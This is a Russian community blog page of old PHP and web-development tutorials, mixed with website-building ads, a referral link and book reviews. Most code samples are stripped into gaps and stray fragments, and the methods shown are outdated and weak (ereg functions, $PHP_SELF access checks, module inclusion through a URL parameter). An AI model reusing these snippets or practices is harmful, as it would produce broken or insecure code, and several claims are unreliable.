Все игры
Обсуждения
Сортировать: по обновлениям | по дате | по рейтингу Отображать записи: Полный текст | Заголовки
Максим Пак, 22-09-2013 00:54 (ссылка)

DropBox

Приглашаю всех желающий бесплатно зарегистрироваться в DropBox https://db.tt/DOJbSJTi и получить до 16Гб. места на нем.

Максим Пак, 17-07-2013 20:51 (ссылка)

Сайт визитка за 1500 руб.-Акция!!!

Сайт-визитка - это мини-сайт, который состоит не более чем из 3 - 5 страниц и предоставляет наиболее важную информацию о компании, товарах и услугах, а также контактные данные.
Случаи применения:

Сайт-визитка подойдет в случае, когда взаимодействие с клиентом происходит вне сети, тем не менее потенциальные клиенты используют Интернет; В случае, если невозможно предоставить подробное описание всей продукции, либо же когда услуга принимает окончательный вид только после личных контактов с клиентом.
Преимущества:

Экономия средств на распространение информации о фирме, а также проведение маркетинговых исследований; Клиенты легко могут найти нужную информацию о продуктах, а также о компании; Сотрудники меньше отвлекаются на телефонные звонки предоставляя информацию, которую можно разместить на сайте; Ваши потенциальные партнеры могут легче найти информацию о вашей фирме в сети.

Пример сайт визитки за 1500 руб. - Успей заказать! + 7 (929) 701 21 71


настроение: Боевое
хочется: Всего всего и сразу
слушаю: Себя

*** ***, 23-03-2011 09:47 (ссылка)

Нужна помощь с регулярными выражениями для вычленения парных тег

Помогите, пожалуйста, создать регулярное выражение для вычленения парных HTML-тегов. Как образец у меня имеется регулярное выражение вида

 #<(div)>(.*)</\1>#Uis ,

оно не плохо вычленяет все нужные параметры из строки

...<div>нечто</div>...,

 но если строка будет вида

...<div>нечто1<div>нечто2</div>нечто3</div>...

, то результатом этого выражения будет

<div>нечто1<div>нечто2</div>

, а мне нужно

<div>нечто1<div>нечто2</div>нечто3</div>

Заранее благодарен!

настроение: Задумчивое

Метки: регулярные выражения, парные тэги

Максим Пак, 18-02-2011 21:04 (ссылка)

тренинг "Быстрые деньги"

Друзья, на днях моя подруга прошла тренинг "Быстрые деньги" Парабеллума А. и Мрочковского Н. По итогам написала свой мини-отчет и видеоотзыв. Подробности в блоге - http://blogs.mail.ru/inbox/...

Максим Пак, 15-02-2011 16:17 (ссылка)

Бизнес без правил

На выходных прочитала книгу «Бизнес без правил. Как разрушать стереотипы и получать сверхприбыль» Парабеллума А. и Мрочковского Н. Несмотря на легкий стиль написания книги, мне так и не удалось понять, что такое Lead Conversion, CRM и каким все-таки образом интегрировать информацию. Поэтому раздел о стратегическом развитии фирмы я для себя уяснила не до конца.
Другое дело раздел об управлении персоналом. Он сразу «зацепил» меня, поскольку читая его, я вспоминала себя бывшую, которой я была на наемной работе. Больше всего понравилась причта о трех сыновьях. В этой философской истории кроется глубокий смысл, - если хочешь получать больше, проявляй инициативу.
Стиль написания книги оказался настолько легким, что я буквально «проглотила» книгу за выходные и взяла себе на заметку все бонусы, которые нашла в книге.
Оцениваю книгу на твердую 4 с плюсом.
Ссылка: http://www.ozon.ru/context/...

Кто сталкивался с написанием отложенных функций?

В случае если вывод в броузер идет через буфер и...
"if(strlen(ob_get_contents())>0) {
ob_end_flush();
} else {
ob_end_clean();
}
"

Оптимизация кода php

Какие функции тормозят и почему?

настроение: Любопытное

Максим Пак, 27-10-2010 15:09 (ссылка)

Теория Php и программирования в общем

Попробуем дать некоторые теоретические выкладки в общем по программированию и по работе интернета. Итак, начнём с того, что объясним работу интернета.

Интернет - это миллион основных компьютеров (серверов), которые работают постоянно и которым присвоены уникальные адреса, например нам присвоен номер: 91.90.36.7, так, что другие компьютеры это понимают (этот номер уникален и нигде больше не повторяется). Сервера - это как бы склады, куда можно записать свой сайт и он станет виден всем другим пользователям, потому что сервера всё время подключены к интернету.

Пользователи заходят в интернет через броузер (например Ваш броузер Explorer 8.0) набирают в командной строке путь до сайта, например в нашем случае http://omsk777.ru, и могут после этого смотреть этот сайт. Прежде чем странички интернета можно будет посмотреть, их надо скачать на свой компьютер, а броузер преобразует их в тот вид, что Вы видите. На самом деле страницы интернета написаны на специальном языке HTML, броузер служит, как бы, переводчиком этого языка в смотрибельный вид.

Кроме этого каждому зашедшему в интернет пользователю присваивается тоже свой уникальный адрес, называется он IP адрес (в Вашем случае: 46.0.167.208), сделано для того, чтобы проследить движения пользователей и, при случае, можно будет найти с какого дома и из какой квартиры был заход в интернет в тот или иной момент времени. Поэтому задавая анонимные вопросы, например, президенту страны, знайте, что они далеко не анонимные, и Вас можно спокойно будет найти по Ip адресу.

Как работает интернет? Пользователь посылает запрос странички на сервер через командную строку, с этим запросом на сервер уходят ещё куча данных от пользователя (Его IP, броузер, с какой страницы был прыжок на сайт, итд). Сервер принимает все эти данные обрабатывает их, записывает в свою базу, после этого отдаёт страничку в HTML формате.

Сервер и броузер пользователя всё время обмениваются данными, передача страничек происходит порционно, например по 8Kb. То есть сервер и броузер ведут свой невидимый диалог. Например, страничка, которую скачиваем 80Kb, в этом случае сервер отдаёт по 8Kb, а в промежутках получает ответы от броузера пользователя (типа - получаю, всё нормально), пока страничка не будет полностью скачана. Так интернет работает в принципе.

Теперь перейдём к теории Php. На сервере есть специальная программа - Php интерпретарор, которая понимает то или иное слово как призыв к выполнению того или иного действия. Смысл программирования - словами записать то, что должно получиться в итоге, а Php интерпретатор всё это дело выполнит. То есть, зарезервировали 10000 слов, которые понимаются только с определённым смыслом. После этого, надо выучить все эти слова и можно программировать.

Первое, что должно быть в программировании - Переменные, в начале к ним добавили $.

Далее, должны быть исполняемые конструкции, типа: Если то, то делаем это, если это, то делаем второе.

Должны быть встроенные функции, чтобы самому их не придумывать, от них будет получен (возвращён) результат, который далее превращается в переменную и используется в программе. Например, $a = abs ('-99'); В переменной $a число 99.

Должны быть обычные математические вещи: вычесть, прибавить, умножить, разделить, итд.

Должны быть функции, которые распечатают полученный результат.

Должны быть функции записи в файлы, то функции работы с файлами.

Функции работы с массивами данных.

Должны быть циклы. Очень часто надо создать цикл, то есть повторяющиеся одинаковые операции, в основном с базами данных. Например, в базе данных 100 строк, надо с ними провести манипуляции, ставим цикл со 100 повторениями, в каждый проход по такому циклу что-то делаем с каждой строкой файла - базы.

Всего не опишешь в этой статье. Всегда говорю, что Php надо изучать по конкретным скриптам. скачайте наш самый маленький по объёму скрипт, распечатайте его содержимое, купите книгу, возьмите карандаш, и находите в книге те или иные слова, отмечайте их в скрипте. Этим Вы сможете понять, что мы хотели добиться тем или иным словом от Php интерпретатора.

В итоге, файл будет разложен на кусочки, а в этих кусочках будут исполняемые вещи работы с переменными, итд. Вы, разложив на мелкие отсеки php файл, начнёте понимать суть происходящего.

Сам Php файл будет читаться программой сверху вниз построчно, программа как-бы бежит по php файлу, когда он заканчивается, она генерирует то, что в Php файле нашла и это выдаёт броузеру. Поэтому, так же читайте этот файл. Когда Вы сможете читать его как обычную книгу, значит Вы знаете php. Пока этого нет - Вы чайник, не отчаивайтесь: Карандаш, Скрипт Php, Книга по Php и много терпения. Для начала, конечно хорошо бы на несколько раз перечитать начало какой-нибудь книги по php.

http://omsk777.ru/teory.html

Максим Пак, 27-10-2010 14:45 (ссылка)

Как сделать сайт на PHP

Для изучения php мне понравился этот пошаговый курс обучения php, здесь Вы можете спросить о непонятном и получить развернутый ответ. Освоить этот язык программирования помогут электронные книги о том, как сделать современный php веб-сайт, самоучители php - все для обязательного прочтения.

Перед тем, как рассмотрим создание сайта с помощью php, мы уже поняли, что PHP сам по себе сайтов не делает. И то, что мы видим на экране, изнури ничто иное, как самый обычный HTML, путь даже страница и имеет расширение PHP.

Поэтому, говоря «сделать сайт на PHP», мы подразумеваем, что все-таки сайт делается на HTML, а PHP используем как средство облегчить себе жизнь в дальнейшем при поддержке сайта.

Теоретическая часть в данный момент нам не нужна, да и переписывать теорию с многочисленных источников не буду вовсе. Эти страницы - всего лишь шпаргалки по созданию php сайта. Поэтому, приступим к практической части. На этой странице мы научимся делать шаблон php сайта и создавать на его основе много страниц на php.

Урок 1. Как создать сайт на php
Например, сделаем сайт, состоящий из 5 страниц.

Пусть структура будет такой:

•Раздел 1
•Раздел 2
•Раздел 3
•Раздел 4
•Раздел 5
Страницы будут однотипны. Сделаем шаблон - мы же хотим сохранить единый стиль всего сайта в целом. В дальнейшем у нас будет возможность оперативно вносить изменения в меню сайта, изменять текстовое наполнение, сможем добавить код банера в нижнюю часть страницы и все, что может еще понадобиться менять с развитием сайта.

Для начала создадим шаблон нашей страницы в HTML:




PHP TEST





Эта страница сделана при помощи PHP (Personal Home Page)



Раздел 1

Раздел 2

Раздел 3

Раздел 4

Раздел 5





Для того, чтобы поменять код сразу на пяти страницах, мы должны разложить этот код на части, то есть - на самостоятельные файлы. Разбиваем наш HTML-код на три части:






PHP TEST





Раздел 1

Раздел 2

Раздел 3

Раздел 4

Раздел 5





Раздел № …











Таким образом, мы увидели каким образом можно разобрать нашу страницу. Очень простой пример, наверное самый легко усваиваемый в сети, за что огромное спасибо автору! Усложнением каждый из нас будет заниматься самостоятельно.

Что ж делать теперь? А вот что.

Сохраняем наши части следующим образом
(обратите внимание на строку, объявляющую PHP код):

Файл - header.php









PHP TEST





Раздел 1

Раздел 2

Раздел 3

Раздел 4

Раздел 5



Файл - footer.php












Куда ж делся файл mainblock.php? Его и не выделяют в отдельный файл. С этим файлом в дальнейшем работает веб-мастер. В нем будет содержаться основной контент страницы. И править мы его будем «ручками», а то размечтались все на автомат поставить;).

Смотрим что получилось в итоге.

Два файла:

1.header.php
2.footer.php
Первый файл отвечает у нас за "верхнюю часть" нашей странички, второй - за "нижнюю".


Мы подошли вплотную к созданию php шаблона сайта.
Что делаем теперь? А вот как. Создаем еще один файл. К примеру назовем его - test.php. Этот файл и будет нашим шаблоном. Рассмотрим, как же нам собрать нашу страничку.

Воспользуемся для этого функцией include(); Эта функция позволяет нам включить в наш код PHP, другой файл. Итак! Внимание! Таинство начинается.

Пишем следующее:







Это шаблон нашего сайта. Тут у нас идет основная информация







Всё. Мы с вами создали на PHP шаблон страницы. Теперь, если мы загрузим этот файл через браузер (предварительно, разобравшись с работой денвера или же установив, отдельно связку Apache + PHP), то получим, при просмотре в "блокноте", следующий код:





PHP TEST





Раздел 1

Раздел 2

Раздел 3

Раздел 4

Раздел 5

Это шаблон нашего сайта. Тут у нас идет основная информация








Делаем много страниц нашему php сайту
Теперь мы можем переименовывать эту страницу хоть сотней различных имен (пользоваться сохранить как..., умеют уж все). Соответственно множим страницы с именами:

file1.php

file2.php

…..

file5.php

Изменяем информацию на этих страницах между



и



на

Это Раздел 1

Это Раздел 2



Это Раздел 5

Если Вы уже перечитали необходимую литературу по php , то без труда догадались, что все эти файлы должны быть сохранены в одной директории. Если Вы, к примеру, сохраняете шаблоны страниц в отдельной директории, то строчка включения файла в код будет выглядеть следующим образом: include("dir_name/header.php");. Где "dir_name" имя вашей директории.


Подведем итог.

•Мы получили 5 файлов, которые выглядят одинаково. При этом, редактируя файлы header.php и footer.php имеем возможность изменить внешний вид всех 5 файлов. Попробуйте, покликайте по ссылкам. Смело изменяйте что-нибудь в файлах header.php или footer.php и посмотрите как эти изменения коснутся каждой страницы. Что и требовалось получить. Вот так вот несложно.
•Приведенный пример прост и примитивен, что и нужно для первых шагов в изучении и создании сайта на языке php.
•Все поставленные цели в начале этого урока выполнены :
1.Создали сайт на PHP
2.Облегчили себе всю дальнейшую жизнь, связанную с поддержкой сайта
3.Добились того, что страницы выдержаны в одном стиле
Этот урок был написан в 2003 году, с тех пор сам php совершенствовался не раз. Урок найден по ссылке как сделать сайт на php

http://www.master-live.ru/p...

Максим Пак, 26-10-2010 16:56 (ссылка)

Методы создания сайтов

Способы создания сайта
Каждый человек, интересующийся вопросами заработка в сети, рано или поздно задается вопросом, какие существуют способы создания сайта. Этот вопрос является очень важным, т.к. для успешного бизнеса в интернете нужен не один и не два сайта. Поскольку построением сайтов Вам придется заниматься систематически, лучше сразу определиться, какой способ создания сайта Вам больше всего подходит.

способы создания сайта
очень разнообразны
Рассмотрим основные способы создания сайта.

1. Написание кода сайта вручную на HTML.

Этот способ самый трудный и требует большого опыта в программировании. Конечно для Web-программиста этот способ не составляет труда, но для новичка он не подходит, поскольку требует глубоких знаний HTML, CSS, JavaScript и других языков программирования.

2. Графический способ.

Он подразумевает создание дизайна сайта в графическом редакторе, его нарезка в HTML код, доработка кода в HTML редакторе и наполнение страниц контентом. Данный способ создания сайта является оптимальным как для новичков, так и для профессионалов, поскольку позволяет довольно быстро и оригинально создавать заготовку сайта. Здесь все зависит от фантазии дизайнера и используемых графических материалов. Можно смастерить любую графику, тем самым обеспечить высокий начальный интерес посетителей. Если к этому добавить интересное содержимое, можно быть уверенным - сайт будут посещать и в дальнейшем. Для новичков рекомендую использовать для рисования дизайна Adobe Photoshop , для нарезки картинки в HTML код - Adobe ImegeReady , для редактирования страниц и наполнения контентом - Macromedia Dreamweaver . Можете поискать другие инструменты, а можете воспользоваться представленными на моем сайте.

Кстати, если хотите пройти курс обучения всем этим программам и научиться создавать сайт данным способом, то комплексное обучение по системе MoneyMaster для Вас! Я сам его прошел, теперь создание сайта для меня не проблема.

3. Использование готовых шаблонов.

Данный способ создания сайта основан на том, что берется готовая заготовка странички в формате HTML. Эта страничка тиражируется, все полученные страницы наполняются контентом , все это размещается в интернете.

Плюс данного способа - минимальные затраты сил на создание. Минус - дублирование шаблонов в сети. Со временем Ваш сайт станет похожим на множество других и потеряет доверие и интерес у многих посетителей. Новичкам можно использовать данный способ создания сайта на первых парах, но со временем нужно осваивать графический способ.

Кстати, коллекцию готовых шаблонов Вы можете скачать бесплатно с моего сайта.

Есть и другие способы создания сайта, но для новичков они не подходят в силу тех или иных причин. Лучше всего освоить второй и третий из вышеописанных способов. Со временем научитесь и другим.

4. Использование движков (CMS).

CMS - это система управления содержимым сайта (англ. Content management system, CMS). Существуют платные и бесплатные CMS. Практически любая CMS представлят из себя набор инструментов для добавления, редактирования, удаления контента (содержимого) на сайте. CMS - это инструмент веб-дизайнера, веб-мастера и простого пользователя, который позволяет выполнять самые разнообразные действия по управлению и изменению содержимого сайта. Обычно для каждого сайта предусмотрена панель управления, с помощью которой выполняются все манипуляции с содержимым. Большая часть современных CMS имеет визуальный (WYSIWYG) редактор, который создаёт HTML-код из специальной разметки, позволяющей веб-дизайнеру легче и быстрее вносить изменения в текст страниц.

В отличие от первых трех способов создания сайта, использование CMS позволяет создавать много разных модулей на сайте, например: блог, чат, магазин, форум и многое другое. То есть не нужно искать скрипты, вписывать их в рисованный сайт. Все модули доступны изначально. Вторая важная особенность - веяние моды на дизайн сайта. Использование CMS дает доступ к самым современным схемам построения и шаблонам. К тому же системы управления сайтом значительно упрощают и ускоряют работу веб-дизайнера.

Максим Пак, 28-09-2010 23:55 (ссылка)

Что такое сайт? Для чего он нужен?

PML - web master LOGO
http://pml-wm.freeoda.com
Что такое сайт?
Представьте, что Вы недавно открыли свою фирму. У Вас квалифицированный персонал, огромный потенциал и отличные возможности для реализации своей деятельности. Теперь дело за клиентами. А значит, Вам необходимо, чтобы о Вас как-то узнали люди, и желательно, чтобы их было как можно больше. В этом случае оптимальным решением этой проблемы может стать создание Вашего собственного сайта. Перед тем, как приступить к созданию нового сайта, многие задаются вопросом: зачем нужен сайт и нужен ли он вообще? Может быть, стоит обойтись объявлением в газете? Ответ на этот вопрос будет отрицательным. Давайте попробуем понять, почему?

Для начала определимся: что же такое сайт и почему это слово находится на слуху в последнее время все чаще и чаще?

Сайт — набор из нескольких десятков, сотен и даже тысяч веб-страниц, объединенных друг с другом общей темой, оформлением и ссылками. Это информационная единица, представляющая компанию или отдельно взятого человека, доступная из любого уголка мира, а также одно из современных средств передачи информации и рекламный продукт, дающий большие возможности в области поиска и привлечения клиентов.

Сайт как средство передачи информации и вид коммуникативных связей

Главное предназначение сайта — это предоставление информации. И несмотря на то, что в мире существует масса других способов передачи информации, огромное количество людей сегодня выбирает именно этот как наиболее эффективный.

В чем же его эффективность?

Во-первых, в связи с высокой скоростью развития сети Интернет происходит втягивание все большего количества людей в среду использования Интернет-технологий и ресурсов. На вопрос "Нужен ли Вам Интернет?" большая часть населения ответит утвердительно, и многие из них скажут, что уже не представляют своей жизни без его использования, как без телевизора или телефона. Поэтому неудивительно, что с помощью сайта о Вас узнает в сотни раз большее количество потенциальных клиентов, чем из газеты.

Информация в Интернет отличается:

скоростью получения;
возможностью получить большой объем информации за короткое время;
удобством использования.
В бешеном ритме жизни современного мира мы порой даже не успеваем оглядеться вокруг. И тут уж совершенно не до того, чтобы следить за появляющимися в огромном количестве товарами или услугами, замечать, какие из них хороши, а какие — нет, и почему. Восприятие реальной действительности становится искаженным, мы теряемся и запутываемся в ней. Интернет — единственный в мире инструмент, сочетающий огромную скорость с максимальной простотой и широчайшим охватом жителей нашей планеты и тем самым способный разрешить эту проблему. Теперь каждый может в считанные минуты получить любую интересную информацию всего из одного источника.

Чем быстрее Ваш клиент получит информацию, тем быстрее он примет решение о том, что ему нужно с Вами связаться, и тем быстрее он это сделает. Ваш собственный сайт — это действительно удачный способ рассказать о себе.

Сайт как рекламный продукт

Обычно реклама воспринимается нами как нечто негативное. Бесконечные рекламные ролики по телевидению, содержание которых отскакивает от зубов, а качество оставляет желать лучшего, мало кому приятны. Но в действительности без рекламы современное общество представить себе достаточно трудно. И как бы критично мы ни относились к этому, реклама способна по-настоящему улучшить приток клиентов и, таким образом, активизировать развитие деятельности Вашего предприятия. Главное — правильно подойти к этому вопросу. А для этого необходимо четко структурировать информацию и совершенно точно знать, что Вы хотите донести до других.

Дадим несколько определений:

Реклама — это открытое оповещение о товарах или услугах, которое проводится с использованием различных средств: отдельных изданий (проспекты, каталоги, плакаты, листовки), периодической печати (статьи, объявления, вкладки), кино, телевидения, радио, наружных средств и др.

Сайт — это все вышеперечисленное вместе. Его цель — максимально повысить отдачу от рекламных вложений, увеличить количество пользователей и, соответственно, потенциальных и реальных клиентов.

Реклама — «двигатель торговли», сайт — основной механизм в двигателе Вашей фирмы.

Продвижением обычно называют комплекс мероприятий, направленных на привлечение к сайту внимания аудитории и, как следствие, на увеличение его посещаемости и повышение позиций, занимаемых сайтом в различных рейтингах. Сайт наряду с остальными источниками информации наибольшим образом отвечает поставленным задачам. Кроме того, достоверность информации о Вашей деятельности зависит только от Вас: ведь создавая сайт, Вы сами определяете то, что и как на нем будет размещено, в отличие от газет.

Для продвижения сайта можно использоваться несколько способов:
различные виды традиционной рекламы;
электронные рассылки;
показы баннеров;
размещение информации на других сайтах;
обмен ссылками, кнопками, баннерами;
мини-сайты и коллажи;
и многое другое.

настроение: Бодрое

Максим Пак, 07-04-2010 20:34 (ссылка)

Взаимодействие баз данный и PHP http://pml-wm.freeoda.com

Взаимодействие баз данный и PHP http://pml-wm.freeoda.com
MySQL – это одна из самых популярных и самых распространенных СУБД (система управления базами данных) в интернете. Она не предназначена для работы с большими объемами информации, но ее применение идеально для интернет сайтов, как небольших, так и достаточно крупных.

MySQL отличатся хорошей скоростью работы, надежностью, гибкостью. Работа с ней, как правило, не вызывает больших трудностей. Поддержка сервера MySQL автоматически включается в поставку PHP.

Немаловажным фактором является ее бесплатность. MySQL распространяется на условиях общей лицензии GNU (GPL, GNU Public License).

Ранее для долговременного хранения информации мы работали с файлами: помещали в них некоторое количество строчек, а затем извлекали их для последующей работы. Задача длительного хранения информации очень часто встречается в программировании Web-приложений: подсчёт посетителей в счётчике, хранение сообщений в форуме, удалённое управление содержанием информации на сайте и т.д.

Между тем, профессиональные приёмы работы с файлами очень трудоёмки: необходимо заботится о помещении в них информации, о её сортировке, извлечении, при этом не нужно забывать, что все эти действия будут происходить на сервере хост-провайдера, где с очень большой вероятностью стоит один из вариантов Unix - следовательно, нужно так же заботится о правах доступа к файлам и их размещении. При этом объём кода значительно возрастает, и совершить ошибку в программе очень просто.

Все эти проблемы решает использование базы данных. Базы данных сами заботятся о безопасности информации и её сортировке и позволяют извлекать и размещать информацию при помощи одной строчки. Код с использованием базы данных получается более компактным, и отлаживать его гораздо легче. Кроме того, не нужно забывать и о скорости - выборка информации из базы данных происходит значительно быстрее, чем из файлов.

Примечание

Приложение на РНР, использующее для хранения информации базу данных (в частности MySql) всегда работает быстрее приложения, построенного на файлах. Дело в том, что базы данных написаны на языке C++, и написать на PHP программу, которая работала бы с жёстким диском эффективнее базы данных - задача неразрешимая по определению, поскольку программы на PHP в принципе работают медленнее, чем программы на C++, так как РНР - интерпретатор, а С++ - компилятор.

Таким образом, основное достоинство базы данных заключается в том, что она берёт на себя всю работу с жёстким диском и делает это очень эффективно.

Взаимодействие баз данный и PHP http://pml-wm.freeoda.com

Максим Пак, 25-03-2010 16:01 (ссылка)

Электронная выставка!

Здравствуйте дорогие друзья. Мы с Вами знакомы уже не малое количество времени. Предлогаю Вам мою электронную выставку книг по программированию, дизайну и много другому по адресу http://pml-wm.freeoda.com/e....
Заранее благодарю!

Максим Пак, 28-02-2010 01:41 (ссылка)

PHP - система разработки скриптов.

PHP - система разработки скриптов.
http://pml-wm.freeoda.com
1. Введениеї

Прежде всего, ответим на вопрос: что же такое PHP? PHP - это система разработки скриптов, включающая в себя CGI - интерфейс, интерпретатор языка и набор функций для доступа к базам данных и различным объектам WWW. По личному мнению автора этой статьи, на данный момент PHP является наиболее удобным и мощным средством разработки приложений WWW и интерфесов к БД в Интернет.

1.1.ї Создание скриптов на PHP.

Система PHP устанавливается на Web-сервер в качестве обработчика определенного mime - типа, аналогично системе SSI (Server Side Include), то есть PHP-скрипт представляет собой обычный html-документ с редкими (или не очень :) вставками тэгов PHP - комманд. Благодаря этому, создание и отладка скриптов PHP значительно проще, чем отладка и создание скриптов на других языках (например C или Perl).
Вместе с тем, PHP обеспечивает разработчику очень большие возможности при разработке приложений web или активных страниц, так как облдает значительным набором функций и относительно большой гибкостью.

1.2ї. Синтаксис PHP.

По своему синтаксису язык PHP наиболее походит на классический С, хотя видны и некоторые заимствования из Java и Perl. По крайней мере, программист на С очень быстро освоит данный язык и сможет использовать его с максимальной эффективностью.
В принципе, в PHP есть практически все операторы и функции, имеющиеся в стандартном GNU С (или их аналоги), например есть циклы (while, for), операторы выбора (if, switch), функции работы с файловой системой и процессами (fopen, *dir, stat, unlink, popen, exec), функции ввода-вывода (fgets,fputs,printf) и множество других...
Одним из самых больших отличий PHP от C - является использование переменных.

1.3ї. Переменные в PHP.

Первое, что бросается в глаза при использовании PHP - это отсутствие типизированных переменных, хотя некая типизация и присутствует, но тип переменной в каждом конкретном операторе зависит от контекста, например переменная $str="10" при использовании ее в операторе echo($str) будет иметь строковый тип (да, да, про char * можно забыть), а в выражениии типа $str=$str+1 будет обрабатываться как число.
Хотя это может показаться недостатком, данная особенность PHP имеет свой смысл, так как при обработке результатов форм ввода html очень трудно определить первоначальный тип переменной, и кроме того, все перобразования типов можно свалить на php (и забыть про itoa и atoi).
Также одной из интересных возможностей PHP является автоматический перенос переменных окружения и параметров скрипта в переменные PHP, причем отпадает необходимость перевода URL-кодированных значений переменных в нормальные, например при передаче скрипту параметра str=text%20with%20spaces ( запрос типа GET /some_script.php?str=text%20 with%20spaces HTTP/1.0 ) будет образована переменная $str="text with spaces".

2ї. Возможности языка.

PHP имеет целый ряд встроенных функций для обработки объектов самого различного рода. ( PHP 3.0 Functions reference
Для примера мы вкратце рассмотрим следующие разделы, наиболее важные с моей точки зрения :
2.1. Обработка строк
2.2. Работа с файлами и процессами
2.3. Работа с базами данных

2.1ї. Обработка строк.

Работа со строками в php гораздо богаче, чем в С. Кроме того, что существуют практически все стандартные функции языка С, наличиствует множество дополнительных функций и возможностей, которые как ориентированы на web, так и просто облегчают работу. В частности конкатенация строк осуществляется следующим оператором: $result_str=$first_str . $second_str;
В качестве примеров полезных для работы в web функций могут служить функции htmlspecialchars() , преобразующая в строке символы типа & в последовательность & или функция urlencode(string str), преобразующую символы русского алфавита в последовательность %XX, где ХХ - шестнадцатеричный код символа. Также весьма интересны функции работы с регулярными выражениями, например $str=ereg_replace("/usr/local/([^/]*)/filename", "\1","/usr/local/dirname/filename"); даст нам строку $str="dirname". Или например функция explode, лично меня очень порадовшая: данная функция позволяет преобразовать строку в массив значений, например для формирования следующего элемента выбора



был использован следующий код:




2.2ї. Работа с файлами и процессами.

Работа с файлами в PHP практически ничем не отличается от работы с файлами в С, те-же самые функции работы с потоками или с блоковыми файлами, fopen, fclose, fread, fgets, fputs, fwrite, но есть одна маленькая, но очень приятная возможность работать с файлами по их URL, например возможны следующие конструкты :
$fp = fopen( "http://www.soft.ru/", "r" );
$fp = fopen( "ftp://www.soft.ru/", "r" );
И, одной из самых больших прелестей PHP, по моему мнению является возможность использовать другие программы, например для получения списка текущей директории использовать стандартную команду ls, или отправлять почту с помощью sendmail. Это достигается с помощью того, что php позволяет создать процесс, и работать с его стандартным вводом или стандартным выводом как с обычным потоком. (команда popen, например $fp=popen("/bin/ls -l","r"); ).

2.3ї. Работа с базами данных.

В системе PHP работа с БД осуществляется в основном путем работы с различными SQL-серверами, причем SQL-сервер в любом случае рассматривается как удаленный, то есть создается сетевое соединение. Благодаря этому возможно открывать из одного скрипта либо несколько пользовательских сессий, либо работать с различными SQL-серверами. После установки соединения с сервером, выбирается рабочая база данных, после чего можно отправлять и обратывать запросы (так как SQL является клиент-серверной архитектурой, любая работа с данными осуществляется с помощью запросов к SQL-серверу на получение или изменение данных). При выполнении запроса создается некий объект, в котором хранится результат выполнения запроса, после чего можно получать отдельные ряды, путем выполнения специальных функций. Если вы когда-нибудь работали с SQL - вы очень быстро разберетесь с использованием функций работы БД в PHP.

В качестве примера, приведем код, который производит выборку из простейшей таблицы, содержащей номера телефонов и наимонования компаний. В результате работы кода получилось следующее:Название фирмы Телефон
контора Купи-продай 222-33-44
ГлавСовСнаб 333-44-55
MuSt DiE 444-55-66


А сформирована данная таблица была следующим php -кодом:

Название фирмы Телефон



Максим Пак, 28-02-2010 01:38 (ссылка)

Модульное программирование на PHP или как написать маленький пор

Модульное программирование на PHP или как написать маленький портал. http://pml-wm.freeoda.com
Я попытаюсь тут разъяснить то, как я подхожу к написанию сайтов, где могут применять подключаемые модули. Пример тому известный скрипт PHPNuke. Как бы не ругали его, подход, примененный в нем, к модульному программированию очень удобен. Но из-за корявости общего кода применять такой скрипт на серьезных сайтах, точнее скажем порталах, с большим количеством посетителей, не рекомендуется. Почему? Скрипт работает медленно, очень большая нагрузка на базу данных. Можно еще очень много чего описать, но это уже материал для другой статьи. Если кому интересно , то в интернете полно описаний этого движка. В «неудобоваримости» PHPNuke я убедился сам. Мой основной проект NVIDIA BIOS Collection в начала базировался на PHPNuke, но постоянные проблемы с хостингом заставили меня начать разработку своей система портала с нуля. Из PHPNuke я взять только суть модулей, все остальное же делал сам. И так для начала. Прежде всего, надо продумать систему каталогов, что и где будет лежать. Вот примерный вариант.
/
/mods/ - каталог для хранения модулей
/img/ - картинки
/include/ - каталог вспомогательных файлов
это что нам сейчас пока надо. Применять блоки и скины мы пока не будем. В моем портале также были другие каталоги
/blocks/ - Тоже своего рода модули, но не выводящие сами информацию, а возвращающие заполненную переменную.
/js/ - каталог для Java скриптов
/theme/ - каталог выбора тем или, грубо говоря, набор скинов для сайта.
/files/ - файлы для скачивания
ну и другие каталоги.
В корневом каталоге храниться всего один файл index.php и вся работа идет через него. Теперь надо решить как будет выглядеть сам сайт. Для нашего примера подойдет наипростейший вариант дизайна , верх сайта , низ сайта, а в середине наша информация из модулей. Для этого в каталоге include создадим два файла top.php и bottom.php, что соответственно будет верхней частью дизайна и нижней частью дизайна.
top.php




$PAGE_TITLE





здесь выводится шапка

Меню сайта


- Модуль1

- Модуль2

";
?>
Предвижу комментарии, где скажут, почему я не вывожу HTML код отдельно, а php отдельно. Я приучил себя к написанию 100% PHP кода, с одной стороны не очень и красиво может выглядеть, но мне так удобнее. Если кто-то хочет писать по-другому, то тут я не советчик. Заметьте переменную $PAGE_TITLE в top.php. В моей реализации вся информация о модулях храниться в базе данных, где помимо имени файла модуля храниться также и его название, которое потом и кладется в $PAGE_TITLE, для вывода его в головок браузера.
bottom.php


 




";
?>
Также создадим файл конфигурации config.php и положим его в каталог include.
config.php

Вот примерная схема работы index.php

Теперь создадим два файла mod1.php и mod2.php и положим их в каталог mods.
mod1.php
";
echo "А здесь можно посмотреть на модуль номер 2";
?>
mod2.php
";
echo "А здесь можно посмотреть на модуль номер 1";
?>
Поясню немного вот эту строку
if (!eregi("index.php", $PHP_SELF)) { die ("Access denied"); }
В каждый модуль желательно включать такую проверку во избежании вызова файла модуля вне самого index.php. На примере моего портала до вызова модуля у меня идет подключение в базе данных, считывание некоторых глобальных переменных и без них, ни один модуль сам по себе работать не сможет. Так что лучше всего просто запретить вызов модуля напрямую. Вызов модулей в данном случае производится через строку в виде index.php?mod=имя модуля, но тут можно применить и систему ЧПУ. Тогда URL примет вид index.php/имя модуля/
Вот в принципе очень грубая схема реализации модулей. Можно добавить любой модуль, просто положив его в каталог mods/ и придерживаясь общей концепции работы, построить очень сложный сайт. В чем удобства работы? По сути вы отодвигаете от себя основную заботу по натягиванию кода на дизайн. Это делает один раз в index.php. Сам же модуль должен только работать и приносить пользу. Централизация сбора основной информации из базы или конфигурационного файла, глобальные переменные сайта, информация о пользователе и т.д. С другой стороны есть недостатки (хотя при определенном взгляде они не кажутся недостатками), скажем надо четко следить за тем какие имена переменных используются до модуля, чтобы не перезаписать, случайно, их внутри модуля. Один раз у меня такое случилось. После такого случая, я взял для себя за правило называть системные переменные в таком виде $sys_имя переменной. Другой очевидный недостаток это трудность реализации разных вариантов дизайна для разных модулей. Но! Тут есть выход тоже.
Если взять за правило, что каждый модуль обязан сам вывести шапку и низ сайта, то вам уже предоставляется свобода по выбору что и как выводить.
К примеру, наши простые модули можно модифицировать в таком варианте.
";
echo "А здесь можно посмотреть на модуль номер 2";
include("inc/bottom.php");
?>
